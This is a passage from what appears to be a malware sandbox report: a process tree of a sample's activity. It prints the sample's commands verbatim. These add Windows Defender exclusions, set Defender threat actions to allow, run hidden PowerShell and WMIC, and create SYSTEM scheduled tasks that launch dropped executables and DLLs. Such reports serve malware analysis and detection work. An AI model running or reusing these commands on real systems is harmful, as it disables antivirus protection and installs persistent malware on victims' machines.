                                                                                                      • Windows security bypass
                                                                                                      PID:2592
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2824
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2568
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2652
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:308
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:3024
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:3004
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2244
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1448
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2724
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2224
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2120
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2104
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1184
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2660
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:532
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2616
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:340
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                        PID:1152
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                        4⤵
                                                                                                          PID:1480
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                          4⤵
                                                                                                            PID:1084
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                            4⤵
                                                                                                              PID:2464
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                                PID:1812
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                4⤵
                                                                                                                  PID:2392
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                  4⤵
                                                                                                                    PID:2540
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                    4⤵
                                                                                                                      PID:2952
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:2960
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                        4⤵
                                                                                                                          PID:2352
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                          4⤵
                                                                                                                            PID:848
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                            4⤵
                                                                                                                              PID:1680
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                              4⤵
                                                                                                                                PID:888
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                4⤵
                                                                                                                                  PID:2388
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  4⤵
                                                                                                                                    PID:2240
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    4⤵
                                                                                                                                      PID:2656
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      4⤵
                                                                                                                                        PID:3060
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        4⤵
                                                                                                                                          PID:2436
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 00:16:57 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\OWrPEBi.exe\" GH /RQbzdidhj 385118 /S" /V1 /F
                                                                                                                                        3⤵
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:1248
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                        3⤵
                                                                                                                                          PID:1760
                                                                                                                                      • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\OWrPEBi.exe
                                                                                                                                        C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\OWrPEBi.exe GH /RQbzdidhj 385118 /S
                                                                                                                                        2⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops Chrome extension
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:2528
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                          3⤵
                                                                                                                                            PID:2692
                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                              4⤵
                                                                                                                                                PID:2780
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                  5⤵
                                                                                                                                                    PID:2804
                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                      6⤵
                                                                                                                                                        PID:1868
                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:2560
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                        5⤵
                                                                                                                                                          PID:3016
                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                            6⤵
                                                                                                                                                              PID:3068
                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:2652
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                              5⤵
                                                                                                                                                                PID:3064
                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:2556
                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:3036
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:308
                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:2892
                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:1980
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:1592
                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                              6⤵
                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              PID:1628
                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:2164
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:2864
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2752
                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:2064
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:776
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:1700
                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                          7⤵
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:1772
                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:668
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:440
                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                            PID:2468
                                                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                              7⤵
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:1812
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\ecawAZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                      PID:1992
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\kurEBqm.xml" /RU "SYSTEM"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                      PID:1992
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1360
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1816
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\wSZtIeA.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:2796
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\NOlNKpw.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:1144
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\FAdGzqn.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:2660
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\qCToBFR.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:1684
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 01:04:33 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\wFYTjgkd\hGWlgxZ.dll\",#1 /okvYdidf 385118" /V1 /F
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:880
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /run /I /tn "rrqYunoktxOQmCoCX"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1736
                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                            schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:2916
                                                                                                                                                                                          • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\wFYTjgkd\hGWlgxZ.dll",#1 /okvYdidf 385118
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:2268
                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\wFYTjgkd\hGWlgxZ.dll",#1 /okvYdidf 385118
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                PID:1148
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:2040
                                                                                                                                                                                            • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                              taskeng.exe {18580F64-3C22-4B88-8623-757C12D2CEE7} S-1-5-21-268080393-3149932598-1824759070-1000:UHRQKJCP\Admin:Interactive:[1]
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:1476
                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
